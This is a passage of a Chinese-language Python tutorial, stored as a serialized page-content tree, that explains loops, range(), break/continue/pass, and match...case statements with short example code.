语句块4\n",{"type":18,"tag":27,"props":99704,"children":99706},{"id":99705},"循环语句",[99707],{"type":24,"value":99705},{"type":18,"tag":34,"props":99709,"children":99710},{},[99711],{"type":24,"value":99712},"循环的两种类型：",{"type":18,"tag":210,"props":99714,"children":99715},{},[99716,99726],{"type":18,"tag":158,"props":99717,"children":99718},{},[99719,99724],{"type":18,"tag":105,"props":99720,"children":99721},{},[99722],{"type":24,"value":99723},"计次循环",{"type":24,"value":99725},"(如for循环)",{"type":18,"tag":158,"props":99727,"children":99728},{},[99729,99734],{"type":18,"tag":105,"props":99730,"children":99731},{},[99732],{"type":24,"value":99733},"条件循环",{"type":24,"value":99735},"(如while循环)",{"type":18,"tag":34,"props":99737,"children":99738},{},[99739],{"type":24,"value":99740},"while循环是通过一个条件来控制是否要继续反复执行循环体中的语句。其语法格式如下：",{"type":18,"tag":287,"props":99742,"children":99744},{"className":28710,"code":99743,"language":28712,"meta":8,"style":8},"while 条件表达式:\n    循环体（被重复执行的语句）\n",[99745],{"type":18,"tag":74,"props":99746,"children":99747},{"__ignoreMap":8},[99748,99756],{"type":18,"tag":297,"props":99749,"children":99750},{"class":299,"line":300},[99751],{"type":18,"tag":297,"props":99752,"children":99753},{},[99754],{"type":24,"value":99755},"while 条件表达式:\n",{"type":18,"tag":297,"props":99757,"children":99758},{"class":299,"line":657},[99759],{"type":18,"tag":297,"props":99760,"children":99761},{},[99762],{"type":24,"value":99763},"    循环体（被重复执行的语句）\n",{"type":18,"tag":96,"props":99765,"children":99766},{},[99767],{"type":18,"tag":2577,"props":99768,"children":99769},{"color":2579},[99770],{"type":24,"value":99771},"\n注意：使用while循环时一定不要忘记添加将循环条件改变为False的代码，否则将会产生死循环\n",{"type":18,"tag":34,"props":99773,"children":99774},{},[99775,99777,99782,99784,99789,99790,99795],{"type":24,"value":99776},"for循环是一个计次循环，一般用于",{"type":18,"tag":105,"props":99778,"children":99779},{},[99780],{"type":24,"value":99781},"循环次数已知",{"type":24,"value":99783},"的情况下。通常用于",{"type":18,"tag":105,"props":99785,"children":99786},{},[99787],{"type":24,"value":99788},"枚举",{"type":24,"value":28447},{"type":18,"tag":105,"props":99791,"children":99792},{},[99793],{"type":24,"value":99794},"遍历序列",{"type":24,"value":99796},"，以及迭代对象的元素。其语法如下：",{"type":18,"tag":287,"props":99798,"children":99800},{"className":28710,"code":99799,"language":28712,"meta":8,"style":8},"for 迭代变量 in 对象:\n    循环体\n",[99801],{"type":18,"tag":74,"props":99802,"children":99803},{"__ignoreMap":8},[99804,99812],{"type":18,"tag":297,"props":99805,"children":99806},{"class":299,"line":300},[99807],{"type":18,"tag":297,"props":99808,"children":99809},{},[99810],{"type":24,"value":99811},"for 迭代变量 in 对象:\n",{"type":18,"tag":297,"props":99813,"children":99814},{"class":299,"line":657},[99815],{"type":18,"tag":297,"props":99816,"children":99817},{},[99818],{"type":24,"value":99819},"    循环体\n",{"type":18,"tag":34,"props":99821,"children":99822},{},[99823],{"type":24,"value":99824},"迭代变量用于保存读取出的值；对象为要遍历或迭代的对象，该对象可以是任何有序的序列对象，如字符串、列表、元组等，循环体是需要重复执行的语句。",{"type":18,"tag":34,"props":99826,"children":99827},{},[99828,99830,99836],{"type":24,"value":99829},"数值循环",{"type":18,"tag":74,"props":99831,"children":99833},{"className":99832},[],[99834],{"type":24,"value":99835},"range(start,end,step)",{"type":24,"value":99837},"内置函数介绍：",{"type":18,"tag":210,"props":99839,"children":99840},{},[99841,99850,99859],{"type":18,"tag":158,"props":99842,"children":99843},{},[99844,99848],{"type":18,"tag":105,"props":99845,"children":99846},{},[99847],{"type":24,"value":93649},{"type":24,"value":99849},"：指定计数的起始值，可以省略，默认从0开始",{"type":18,"tag":158,"props":99851,"children":99852},{},[99853,99857],{"type":18,"tag":105,"props":99854,"children":99855},{},[99856],{"type":24,"value":37816},{"type":24,"value":99858},"：指定计数的结束值(不包含结束值)，该值不能省略",{"type":18,"tag":158,"props":99860,"children":99861},{},[99862,99866],{"type":18,"tag":105,"props":99863,"children":99864},{},[99865],{"type":24,"value":93670},{"type":24,"value":99867},"：用于指定步长，可以省略，默认步长为1",{"type":18,"tag":96,"props":99869,"children":99870},{},[99871],{"type":18,"tag":34,"props":99872,"children":99873},{},[99874,99875,99880,99882,99887,99889,99894,99895,99900,99902,99907],{"type":24,"value":76338},{"type":18,"tag":74,"props":99876,"children":99878},{"className":99877},[],[99879],{"type":24,"value":97057},{"type":24,"value":99881},"函数中，若只存在1个参数，则表示指定的是",{"type":18,"tag":74,"props":99883,"children":99885},{"className":99884},[],[99886],{"type":24,"value":37816},{"type":24,"value":99888},"；若存在2个参数，则表示指定的",{"type":18,"tag":74,"props":99890,"children":99892},{"className":99891},[],[99893],{"type":24,"value":93649},{"type":24,"value":10315},{"type":18,"tag":74,"props":99896,"children":99898},{"className":99897},[],[99899],{"type":24,"value":37816},{"type":24,"value":99901},"；只有3个参数同时存在，最后一个参数才表示",{"type":18,"tag":74,"props":99903,"children":99905},{"className":99904},[],[99906],{"type":24,"value":93670},{"type":24,"value":93677},{"type":18,"tag":34,"props":99909,"children":99910},{},[99911],{"type":24,"value":20328},{"type":18,"tag":287,"props":99913,"children":99915},{"className":28710,"code":99914,"language":28712,"meta":8,"style":8},"for i in range(1,7,2):\n    print(i)\n'''输出结果为：1、3、5'''\nfor i in range(5):\n    print(i)\n'''输出结果为：0、1、2、3、4'''\nfor i in range(2,5):\n    print(i)\n'''输出结果为：2、3、4'''\n",[99916],{"type":18,"tag":74,"props":99917,"children":99918},{"__ignoreMap":8},[99919,99927,99934,99942,99950,99957,99965,99973,99980],{"type":18,"tag":297,"props":99920,"children":99921},{"class":299,"line":300},[99922],{"type":18,"tag":297,"props":99923,"children":99924},{},[99925],{"type":24,"value":99926},"for i in range(1,7,2):\n",{"type":18,"tag":297,"props":99928,"children":99929},{"class":299,"line":657},[99930],{"type":18,"tag":297,"props":99931,"children":99932},{},[99933],{"type":24,"value":95359},{"type":18,"tag":297,"props":99935,"children":99936},{"class":299,"line":662},[99937],{"type":18,"tag":297,"props":99938,"children":99939},{},[99940],{"type":24,"value":99941},"'''输出结果为：1、3、5'''\n",{"type":18,"tag":297,"props":99943,"children":99944},{"class":299,"line":799},[99945],{"type":18,"tag":297,"props":99946,"children":99947},{},[99948],{"type":24,"value":99949},"for i in range(5):\n",{"type":18,"tag":297,"props":99951,"children":99952},{"class":299,"line":808},[99953],{"type":18,"tag":297,"props":99954,"children":99955},{},[99956],{"type":24,"value":95359},{"type":18,"tag":297,"props":99958,"children":99959},{"class":299,"line":817},[99960],{"type":18,"tag":297,"props":99961,"children":99962},{},[99963],{"type":24,"value":99964},"'''输出结果为：0、1、2、3、4'''\n",{"type":18,"tag":297,"props":99966,"children":99967},{"class":299,"line":826},[99968],{"type":18,"tag":297,"props":99969,"children":99970},{},[99971],{"type":24,"value":99972},"for i in range(2,5):\n",{"type":18,"tag":297,"props":99974,"children":99975},{"class":299,"line":4524},[99976],{"type":18,"tag":297,"props":99977,"children":99978},{},[99979],{"type":24,"value":95359},{"type":18,"tag":297,"props":99981,"children":99982},{"class":299,"line":4533},[99983],{"type":18,"tag":297,"props":99984,"children":99985},{},[99986],{"type":24,"value":99987},"'''输出结果为：2、3、4'''\n",{"type":18,"tag":34,"props":99989,"children":99990},{},[99991,99993,99999,100000,100006],{"type":24,"value":99992},"python允许在一个循环体中嵌入另一个循环，这称为循环嵌套，其中",{"type":18,"tag":74,"props":99994,"children":99996},{"className":99995},[],[99997],{"type":24,"value":99998},"for循环",{"type":24,"value":8507},{"type":18,"tag":74,"props":100001,"children":100003},{"className":100002},[],[100004],{"type":24,"value":100005},"while循环",{"type":24,"value":100007}," 可以相互嵌套使用，例如：",{"type":18,"tag":287,"props":100009,"children":100011},{"className":28710,"code":100010,"language":28712,"meta":8,"style":8},"while 条件表达式:\n    for 迭代变量 in 对象:\n        循环体2\n    循环体1\n",[100012],{"type":18,"tag":74,"props":100013,"children":100014},{"__ignoreMap":8},[100015,100022,100030,100038],{"type":18,"tag":297,"props":100016,"children":100017},{"class":299,"line":300},[100018],{"type":18,"tag":297,"props":100019,"children":100020},{},[100021],{"type":24,"value":99755},{"type":18,"tag":297,"props":100023,"children":100024},{"class":299,"line":657},[100025],{"type":18,"tag":297,"props":100026,"children":100027},{},[100028],{"type":24,"value":100029},"    for 迭代变量 in 对象:\n",{"type":18,"tag":297,"props":100031,"children":100032},{"class":299,"line":662},[100033],{"type":18,"tag":297,"props":100034,"children":100035},{},[100036],{"type":24,"value":100037},"        循环体2\n",{"type":18,"tag":297,"props":100039,"children":100040},{"class":299,"line":799},[100041],{"type":18,"tag":297,"props":100042,"children":100043},{},[100044],{"type":24,"value":100045},"    循环体1\n",{"type":18,"tag":27,"props":100047,"children":100049},{"id":100048},"breakcontinue-和-pass-语句",[100050],{"type":24,"value":100051},"break、continue 和 pass 语句",{"type":18,"tag":34,"props":100053,"children":100054},{},[100055],{"type":24,"value":100056},"在程序中存在未迭代完对象而退出循环或未满足循环条件而退出循环的方法：",{"type":18,"tag":210,"props":100058,"children":100059},{},[100060,100072],{"type":18,"tag":158,"props":100061,"children":100062},{},[100063,100064,100070],{"type":24,"value":35582},{"type":18,"tag":74,"props":100065,"children":100067},{"className":100066},[],[100068],{"type":24,"value":100069},"continue",{"type":24,"value":100071},"可以跳过本次循环进入下一次迭代",{"type":18,"tag":158,"props":100073,"children":100074},{},[100075,100076,100082],{"type":24,"value":35582},{"type":18,"tag":74,"props":100077,"children":100079},{"className":100078},[],[100080],{"type":24,"value":100081},"break",{"type":24,"value":100083},"可以完全终止循环",{"type":18,"tag":96,"props":100085,"children":100086},{},[100087],{"type":18,"tag":34,"props":100088,"children":100089},{},[100090,100092,100097],{"type":24,"value":100091},"Python中存在一个用于保持程序结构完整性的",{"type":18,"tag":74,"props":100093,"children":100095},{"className":100094},[],[100096],{"type":24,"value":75903},{"type":24,"value":88206},{"type":18,"tag":34,"props":100099,"children":100100},{},[100101,100107,100109,100115,100116,100121,100123,100128,100130,100135,100137,100142,100143,100149,100151,100157,100158,100163],{"type":18,"tag":74,"props":100102,"children":100104},{"className":100103},[],[100105],{"type":24,"value":100106},"break语句",{"type":24,"value":100108},"可以终止当前的循环，包括",{"type":18,"tag":74,"props":100110,"children":100112},{"className":100111},[],[100113],{"type":24,"value":100114},"while",{"type":24,"value":10315},{"type":18,"tag":74,"props":100117,"children":100119},{"className":100118},[],[100120],{"type":24,"value":7338},{"type":24,"value":100122},"在内的所有控制语句。",{"type":18,"tag":74,"props":100124,"children":100126},{"className":100125},[],[100127],{"type":24,"value":100081},{"type":24,"value":100129},"语句一般与",{"type":18,"tag":74,"props":100131,"children":100133},{"className":100132},[],[100134],{"type":24,"value":16236},{"type":24,"value":100136},"搭配使用（",{"type":18,"tag":74,"props":100138,"children":100140},{"className":100139},[],[100141],{"type":24,"value":100081},{"type":24,"value":76338},{"type":18,"tag":74,"props":100144,"children":100146},{"className":100145},[],[100147],{"type":24,"value":100148},"if语句块",{"type":24,"value":100150},"内），例如在",{"type":18,"tag":74,"props":100152,"children":100154},{"className":100153},[],[100155],{"type":24,"value":100156},"while语句",{"type":24,"value":68123},{"type":18,"tag":74,"props":100159,"children":100161},{"className":100160},[],[100162],{"type":24,"value":100106},{"type":24,"value":100164},"的示例：",{"type":18,"tag":287,"props":100166,"children":100168},{"className":28710,"code":100167,"language":28712,"meta":8,"style":8},"a = 0\nwhile a \u003C 10:\n    a+=1\n    if a == 3:\n        break\nprint(a)   # 最后的输出结果为3\n",[100169],{"type":18,"tag":74,"props":100170,"children":100171},{"__ignoreMap":8},[100172,100180,100188,100196,100204,100212],{"type":18,"tag":297,"props":100173,"children":100174},{"class":299,"line":300},[100175],{"type":18,"tag":297,"props":100176,"children":100177},{},[100178],{"type":24,"value":100179},"a = 0\n",{"type":18,"tag":297,"props":100181,"children":100182},{"class":299,"line":657},[100183],{"type":18,"tag":297,"props":100184,"children":100185},{},[100186],{"type":24,"value":100187},"while a \u003C 10:\n",{"type":18,"tag":297,"props":100189,"children":100190},{"class":299,"line":662},[100191],{"type":18,"tag":297,"props":100192,"children":100193},{},[100194],{"type":24,"value":100195},"    a+=1\n",{"type":18,"tag":297,"props":100197,"children":100198},{"class":299,"line":799},[100199],{"type":18,"tag":297,"props":100200,"children":100201},{},[100202],{"type":24,"value":100203},"    if a == 3:\n",{"type":18,"tag":297,"props":100205,"children":100206},{"class":299,"line":808},[100207],{"type":18,"tag":297,"props":100208,"children":100209},{},[100210],{"type":24,"value":100211},"        break\n",{"type":18,"tag":297,"props":100213,"children":100214},{"class":299,"line":817},[100215],{"type":18,"tag":297,"props":100216,"children":100217},{},[100218],{"type":24,"value":100219},"print(a)   # 最后的输出结果为3\n",{"type":18,"tag":34,"props":100221,"children":100222},{},[100223,100228,100229,100235,100237,100242],{"type":18,"tag":74,"props":100224,"children":100226},{"className":100225},[],[100227],{"type":24,"value":100156},{"type":24,"value":8507},{"type":18,"tag":74,"props":100230,"children":100232},{"className":100231},[],[100233],{"type":24,"value":100234},"for语句",{"type":24,"value":100236}," 中使用 ",{"type":18,"tag":74,"props":100238,"children":100240},{"className":100239},[],[100241],{"type":24,"value":100081},{"type":24,"value":100243}," 的语法结构：",{"type":18,"tag":287,"props":100245,"children":100247},{"className":28710,"code":100246,"language":28712,"meta":8,"style":8},"\"\"\"while循环与break\"\"\"\nwhile 条件表达式1:\n    执行代码\n    if 条件表达式2:\n        break\n        \n\"\"\"for循环与break\"\"\"\nfor 迭代变量 in 对象:\n    执行代码\n    if 条件表达式:\n        break\n",[100248],{"type":18,"tag":74,"props":100249,"children":100250},{"__ignoreMap":8},[100251,100259,100267,100275,100283,100290,100297,100305,100312,100319,100327],{"type":18,"tag":297,"props":100252,"children":100253},{"class":299,"line":300},[100254],{"type":18,"tag":297,"props":100255,"children":100256},{},[100257],{"type":24,"value":100258},"\"\"\"while循环与break\"\"\"\n",{"type":18,"tag":297,"props":100260,"children":100261},{"class":299,"line":657},[100262],{"type":18,"tag":297,"props":100263,"children":100264},{},[100265],{"type":24,"value":100266},"while 条件表达式1:\n",{"type":18,"tag":297,"props":100268,"children":100269},{"class":299,"line":662},[100270],{"type":18,"tag":297,"props":100271,"children":100272},{},[100273],{"type":24,"value":100274},"    执行代码\n",{"type":18,"tag":297,"props":100276,"children":100277},{"class":299,"line":799},[100278],{"type":18,"tag":297,"props":100279,"children":100280},{},[100281],{"type":24,"value":100282},"    if 条件表达式2:\n",{"type":18,"tag":297,"props":100284,"children":100285},{"class":299,"line":808},[100286],{"type":18,"tag":297,"props":100287,"children":100288},{},[100289],{"type":24,"value":100211},{"type":18,"tag":297,"props":100291,"children":100292},{"class":299,"line":817},[100293],{"type":18,"tag":297,"props":100294,"children":100295},{},[100296],{"type":24,"value":39632},{"type":18,"tag":297,"props":100298,"children":100299},{"class":299,"line":826},[100300],{"type":18,"tag":297,"props":100301,"children":100302},{},[100303],{"type":24,"value":100304},"\"\"\"for循环与break\"\"\"\n",{"type":18,"tag":297,"props":100306,"children":100307},{"class":299,"line":4524},[100308],{"type":18,"tag":297,"props":100309,"children":100310},{},[100311],{"type":24,"value":99811},{"type":18,"tag":297,"props":100313,"children":100314},{"class":299,"line":4533},[100315],{"type":18,"tag":297,"props":100316,"children":100317},{},[100318],{"type":24,"value":100274},{"type":18,"tag":297,"props":100320,"children":100321},{"class":299,"line":4546},[100322],{"type":18,"tag":297,"props":100323,"children":100324},{},[100325],{"type":24,"value":100326},"    if 条件表达式:\n",{"type":18,"tag":297,"props":100328,"children":100329},{"class":299,"line":4555},[100330],{"type":18,"tag":297,"props":100331,"children":100332},{},[100333],{"type":24,"value":100211},{"type":18,"tag":34,"props":100335,"children":100336},{},[100337,100343,100345,100350,100352,100357,100358,100363,100364,100369],{"type":18,"tag":74,"props":100338,"children":100340},{"className":100339},[],[100341],{"type":24,"value":100342},"continue语句",{"type":24,"value":100344}," 只能中止本次循环而提前进入下一次循环，若使用循环嵌套，则",{"type":18,"tag":74,"props":100346,"children":100348},{"className":100347},[],[100349],{"type":24,"value":100069},{"type":24,"value":100351},"只跳过最内层循环中的剩余语句。",{"type":18,"tag":74,"props":100353,"children":100355},{"className":100354},[],[100356],{"type":24,"value":100156},{"type":24,"value":8507},{"type":18,"tag":74,"props":100359,"children":100361},{"className":100360},[],[100362],{"type":24,"value":100234},{"type":24,"value":100236},{"type":18,"tag":74,"props":100365,"children":100367},{"className":100366},[],[100368],{"type":24,"value":100069},{"type":24,"value":100243},{"type":18,"tag":287,"props":100371,"children":100373},{"className":28710,"code":100372,"language":28712,"meta":8,"style":8},"\"\"\"while循环与continue\"\"\"\nwhile 条件表达式1:\n    执行代码\n    if 条件表达式2:\n        continue\n        \n\"\"\"for循环与continue\"\"\"\nfor 迭代变量 in 对象:\n    执行代码\n    if 条件表达式:\n        continue\n",[100374],{"type":18,"tag":74,"props":100375,"children":100376},{"__ignoreMap":8},[100377,100385,100392,100399,100406,100414,100421,100429,100436,100443,100450],{"type":18,"tag":297,"props":100378,"children":100379},{"class":299,"line":300},[100380],{"type":18,"tag":297,"props":100381,"children":100382},{},[100383],{"type":24,"value":100384},"\"\"\"while循环与continue\"\"\"\n",{"type":18,"tag":297,"props":100386,"children":100387},{"class":299,"line":657},[100388],{"type":18,"tag":297,"props":100389,"children":100390},{},[100391],{"type":24,"value":100266},{"type":18,"tag":297,"props":100393,"children":100394},{"class":299,"line":662},[100395],{"type":18,"tag":297,"props":100396,"children":100397},{},[100398],{"type":24,"value":100274},{"type":18,"tag":297,"props":100400,"children":100401},{"class":299,"line":799},[100402],{"type":18,"tag":297,"props":100403,"children":100404},{},[100405],{"type":24,"value":100282},{"type":18,"tag":297,"props":100407,"children":100408},{"class":299,"line":808},[100409],{"type":18,"tag":297,"props":100410,"children":100411},{},[100412],{"type":24,"value":100413},"        continue\n",{"type":18,"tag":297,"props":100415,"children":100416},{"class":299,"line":817},[100417],{"type":18,"tag":297,"props":100418,"children":100419},{},[100420],{"type":24,"value":39632},{"type":18,"tag":297,"props":100422,"children":100423},{"class":299,"line":826},[100424],{"type":18,"tag":297,"props":100425,"children":100426},{},[100427],{"type":24,"value":100428},"\"\"\"for循环与continue\"\"\"\n",{"type":18,"tag":297,"props":100430,"children":100431},{"class":299,"line":4524},[100432],{"type":18,"tag":297,"props":100433,"children":100434},{},[100435],{"type":24,"value":99811},{"type":18,"tag":297,"props":100437,"children":100438},{"class":299,"line":4533},[100439],{"type":18,"tag":297,"props":100440,"children":100441},{},[100442],{"type":24,"value":100274},{"type":18,"tag":297,"props":100444,"children":100445},{"class":299,"line":4546},[100446],{"type":18,"tag":297,"props":100447,"children":100448},{},[100449],{"type":24,"value":100326},{"type":18,"tag":297,"props":100451,"children":100452},{"class":299,"line":4555},[100453],{"type":18,"tag":297,"props":100454,"children":100455},{},[100456],{"type":24,"value":100413},{"type":18,"tag":34,"props":100458,"children":100459},{},[100460,100465,100467,100472],{"type":18,"tag":74,"props":100461,"children":100463},{"className":100462},[],[100464],{"type":24,"value":99998},{"type":24,"value":100466}," 中",{"type":18,"tag":74,"props":100468,"children":100470},{"className":100469},[],[100471],{"type":24,"value":100069},{"type":24,"value":100473}," 的使用示例：",{"type":18,"tag":287,"props":100475,"children":100477},{"className":28710,"code":100476,"language":28712,"meta":8,"style":8},"for i in range(7):\n    if i % 2 == 0:\n        continue  # 若i为偶数则跳过本次循环\n    print(i,end=\" \")\n\"\"\"最后的输出结果为：1 3 5 \"\"\"\n",[100478],{"type":18,"tag":74,"props":100479,"children":100480},{"__ignoreMap":8},[100481,100489,100497,100505,100513],{"type":18,"tag":297,"props":100482,"children":100483},{"class":299,"line":300},[100484],{"type":18,"tag":297,"props":100485,"children":100486},{},[100487],{"type":24,"value":100488},"for i in range(7):\n",{"type":18,"tag":297,"props":100490,"children":100491},{"class":299,"line":657},[100492],{"type":18,"tag":297,"props":100493,"children":100494},{},[100495],{"type":24,"value":100496},"    if i % 2 == 0:\n",{"type":18,"tag":297,"props":100498,"children":100499},{"class":299,"line":662},[100500],{"type":18,"tag":297,"props":100501,"children":100502},{},[100503],{"type":24,"value":100504},"        continue  # 若i为偶数则跳过本次循环\n",{"type":18,"tag":297,"props":100506,"children":100507},{"class":299,"line":799},[100508],{"type":18,"tag":297,"props":100509,"children":100510},{},[100511],{"type":24,"value":100512},"    print(i,end=\" \")\n",{"type":18,"tag":297,"props":100514,"children":100515},{"class":299,"line":808},[100516],{"type":18,"tag":297,"props":100517,"children":100518},{},[100519],{"type":24,"value":100520},"\"\"\"最后的输出结果为：1 3 5 \"\"\"\n",{"type":18,"tag":34,"props":100522,"children":100523},{},[100524,100530,100532,100537,100539,100544],{"type":18,"tag":74,"props":100525,"children":100527},{"className":100526},[],[100528],{"type":24,"value":100529},"pass语句",{"type":24,"value":100531}," 表示为空语句，",{"type":18,"tag":74,"props":100533,"children":100535},{"className":100534},[],[100536],{"type":24,"value":100529},{"type":24,"value":100538}," 不做任何事情，一般起到占位作用。如输出0~10之间的偶数，若非偶数，则可以使用",{"type":18,"tag":74,"props":100540,"children":100542},{"className":100541},[],[100543],{"type":24,"value":75903},{"type":24,"value":100545},"占个位置，代码如下：",{"type":18,"tag":287,"props":100547,"children":100549},{"className":28710,"code":100548,"language":28712,"meta":8,"style":8},"for i in range(11):\n    if i % 2 == 0:    # 为偶数则进行输出\n        print(i)\n    else:             # 非偶数则不做任何事\n        pass\n",[100550],{"type":18,"tag":74,"props":100551,"children":100552},{"__ignoreMap":8},[100553,100561,100569,100577,100585],{"type":18,"tag":297,"props":100554,"children":100555},{"class":299,"line":300},[100556],{"type":18,"tag":297,"props":100557,"children":100558},{},[100559],{"type":24,"value":100560},"for i in range(11):\n",{"type":18,"tag":297,"props":100562,"children":100563},{"class":299,"line":657},[100564],{"type":18,"tag":297,"props":100565,"children":100566},{},[100567],{"type":24,"value":100568},"    if i % 2 == 0:    # 为偶数则进行输出\n",{"type":18,"tag":297,"props":100570,"children":100571},{"class":299,"line":662},[100572],{"type":18,"tag":297,"props":100573,"children":100574},{},[100575],{"type":24,"value":100576},"        print(i)\n",{"type":18,"tag":297,"props":100578,"children":100579},{"class":299,"line":799},[100580],{"type":18,"tag":297,"props":100581,"children":100582},{},[100583],{"type":24,"value":100584},"    else:             # 非偶数则不做任何事\n",{"type":18,"tag":297,"props":100586,"children":100587},{"class":299,"line":808},[100588],{"type":18,"tag":297,"props":100589,"children":100590},{},[100591],{"type":24,"value":100592},"        pass\n",{"type":18,"tag":27,"props":100594,"children":100596},{"id":100595},"matchcase语句",[100597],{"type":24,"value":100598},"match...case语句",{"type":18,"tag":34,"props":100600,"children":100601},{},[100602,100607,100609,100614],{"type":18,"tag":74,"props":100603,"children":100605},{"className":100604},[],[100606],{"type":24,"value":100598},{"type":24,"value":100608}," 称为结构化模式匹配语句。该语句可以实现与",{"type":18,"tag":74,"props":100610,"children":100612},{"className":100611},[],[100613],{"type":24,"value":99337},{"type":24,"value":100615}," 相似的多分支选择结构的功能。除此之外它还可以轻松匹配列表、元组、字典、类以及其他更复杂的结构，其通用语法如下：",{"type":18,"tag":287,"props":100617,"children":100619},{"className":28710,"code":100618,"language":28712,"meta":8,"style":8},"match subject:\n    case pattern_1:\n        action_1\n    case pattern_2:\n        action_2\n    ...\n    case pattern_n:\n        action_n\n    case _:\n        action_wildcard\n",[100620],{"type":18,"tag":74,"props":100621,"children":100622},{"__ignoreMap":8},[100623,100631,100639,100647,100655,100663,100671,100679,100687,100695],{"type":18,"tag":297,"props":100624,"children":100625},{"class":299,"line":300},[100626],{"type":18,"tag":297,"props":100627,"children":100628},{},[100629],{"type":24,"value":100630},"match subject:\n",{"type":18,"tag":297,"props":100632,"children":100633},{"class":299,"line":657},[100634],{"type":18,"tag":297,"props":100635,"children":100636},{},[100637],{"type":24,"value":100638},"    case pattern_1:\n",{"type":18,"tag":297,"props":100640,"children":100641},{"class":299,"line":662},[100642],{"type":18,"tag":297,"props":100643,"children":100644},{},[100645],{"type":24,"value":100646},"        action_1\n",{"type":18,"tag":297,"props":100648,"children":100649},{"class":299,"line":799},[100650],{"type":18,"tag":297,"props":100651,"children":100652},{},[100653],{"type":24,"value":100654},"    case pattern_2:\n",{"type":18,"tag":297,"props":100656,"children":100657},{"class":299,"line":808},[100658],{"type":18,"tag":297,"props":100659,"children":100660},{},[100661],{"type":24,"value":100662},"        action_2\n",{"type":18,"tag":297,"props":100664,"children":100665},{"class":299,"line":817},[100666],{"type":18,"tag":297,"props":100667,"children":100668},{},[100669],{"type":24,"value":100670},"    ...\n",{"type":18,"tag":297,"props":100672,"children":100673},{"class":299,"line":826},[100674],{"type":18,"tag":297,"props":100675,"children":100676},{},[100677],{"type":24,"value":100678},"    case pattern_n:\n",{"type":18,"tag":297,"props":100680,"children":100681},{"class":299,"line":4524},[100682],{"type":18,"tag":297,"props":100683,"children":100684},{},[100685],{"type":24,"value":100686},"        action_n\n",{"type":18,"tag":297,"props":100688,"children":100689},{"class":299,"line":4533},[100690],{"type":18,"tag":297,"props":100691,"children":100692},{},[100693],{"type":24,"value":100694},"    case _:\n",{"type":18,"tag":297,"props":100696,"children":100697},{"class":299,"line":4546},[100698],{"type":18,"tag":297,"props":100699,"children":100700},{},[100701],{"type":24,"value":100702},"        action_wildcard\n",{"type":18,"tag":210,"props":100704,"children":100705},{},[100706,100711,100716,100721],{"type":18,"tag":158,"props":100707,"children":100708},{},[100709],{"type":24,"value":100710},"subject：必选参数，用于指定具有特定类型的数据如数字、字符串、列表、元组等",{"type":18,"tag":158,"props":100712,"children":100713},{},[100714],{"type":24,"value":100715},"pattern_(1-n)：参数中的一个值，用于进行模式匹配，执行过程中从上到下依次进行比较，直到匹配到一个模式后结束匹配",{"type":18,"tag":158,"props":100717,"children":100718},{},[100719],{"type":24,"value":100720},"action_(1-n)：指定要执行的与被匹配的模式相关联的动作",{"type":18,"tag":158,"props":100722,"children":100723},{},[100724],{"type":24,"value":100725},"_ 和 action_wildcard：可选参数，用于指定当前面的case语句不能完全匹配时所使用的通配符，该case语句将被作为已匹配模式，从而执行action_wildcard所绑定的动作，若该参数不存在，则当前面的case语句不能完全匹配时，该match语句将无任何操作。",{"type":18,"tag":34,"props":100727,"children":100728},{},[100729],{"type":18,"tag":105,"props":100730,"children":100731},{},[100732],{"type":24,"value":100733},"匹配字面值",{"type":18,"tag":287,"props":100735,"children":100737},{"className":28710,"code":100736,"language":28712,"meta":8,"style":8},"def if_light(color):\n    if color == 'red':\n        return 'Stop'\n    elif color == 'yellow':\n        return 'Caution'\n    elif color == 'green':\n        return 'Go'\n    else:\n        return 'Invalid color'\n\nprint(if_light('red'))\n",[100738],{"type":18,"tag":74,"props":100739,"children":100740},{"__ignoreMap":8},[100741,100749,100757,100765,100773,100781,100789,100797,100804,100812,100819],{"type":18,"tag":297,"props":100742,"children":100743},{"class":299,"line":300},[100744],{"type":18,"tag":297,"props":100745,"children":100746},{},[100747],{"type":24,"value":100748},"def if_light(color):\n",{"type":18,"tag":297,"props":100750,"children":100751},{"class":299,"line":657},[100752],{"type":18,"tag":297,"props":100753,"children":100754},{},[100755],{"type":24,"value":100756},"    if color == 'red':\n",{"type":18,"tag":297,"props":100758,"children":100759},{"class":299,"line":662},[100760],{"type":18,"tag":297,"props":100761,"children":100762},{},[100763],{"type":24,"value":100764},"        return 'Stop'\n",{"type":18,"tag":297,"props":100766,"children":100767},{"class":299,"line":799},[100768],{"type":18,"tag":297,"props":100769,"children":100770},{},[100771],{"type":24,"value":100772},"    elif color == 'yellow':\n",{"type":18,"tag":297,"props":100774,"children":100775},{"class":299,"line":808},[100776],{"type":18,"tag":297,"props":100777,"children":100778},{},[100779],{"type":24,"value":100780},"        return 'Caution'\n",{"type":18,"tag":297,"props":100782,"children":100783},{"class":299,"line":817},[100784],{"type":18,"tag":297,"props":100785,"children":100786},{},[100787],{"type":24,"value":100788},"    elif color == 'green':\n",{"type":18,"tag":297,"props":100790,"children":100791},{"class":299,"line":826},[100792],{"type":18,"tag":297,"props":100793,"children":100794},{},[100795],{"type":24,"value":100796},"        return 'Go'\n",{"type":18,"tag":297,"props":100798,"children":100799},{"class":299,"line":4524},[100800],{"type":18,"tag":297,"props":100801,"children":100802},{},[100803],{"type":24,"value":32786},{"type":18,"tag":297,"props":100805,"children":100806},{"class":299,"line":4533},[100807],{"type":18,"tag":297,"props":100808,"children":100809},{},[100810],{"type":24,"value":100811},"        return 'Invalid color'\n",{"type":18,"tag":297,"props":100813,"children":100814},{"class":299,"line":4546},[100815],{"type":18,"tag":297,"props":100816,"children":100817},{"emptyLinePlaceholder":793},[100818],{"type":24,"value":796},{"type":18,"tag":297,"props":100820,"children":100821},{"class":299,"line":4555},[100822],{"type":18,"tag":297,"props":100823,"children":100824},{},[100825],{"type":24,"value":100826},"print(if_light('red'))\n",{"type":18,"tag":34,"props":100828,"children":100829},{},[100830],{"type":24,"value":100831},"将上述代码使用match语句进行改写可以得到：",{"type":18,"tag":287,"props":100833,"children":100835},{"className":28710,"code":100834,"language":28712,"meta":8,"style":8},"def match_light(color):\n    match color:\n        case 'red':\n            return 'Stop'\n        case 'yellow':\n            return 'Caution'\n        case 'green':\n            return 'Go'\n        case _:\n            return 'Invalid color'\n\nprint(match_light('red'))\n",[100836],{"type":18,"tag":74,"props":100837,"children":100838},{"__ignoreMap":8},[100839,100847,100855,100863,100871,100879,100887,100895,100903,100911,100919,100926],{"type":18,"tag":297,"props":100840,"children":100841},{"class":299,"line":300},[100842],{"type":18,"tag":297,"props":100843,"children":100844},{},[100845],{"type":24,"value":100846},"def 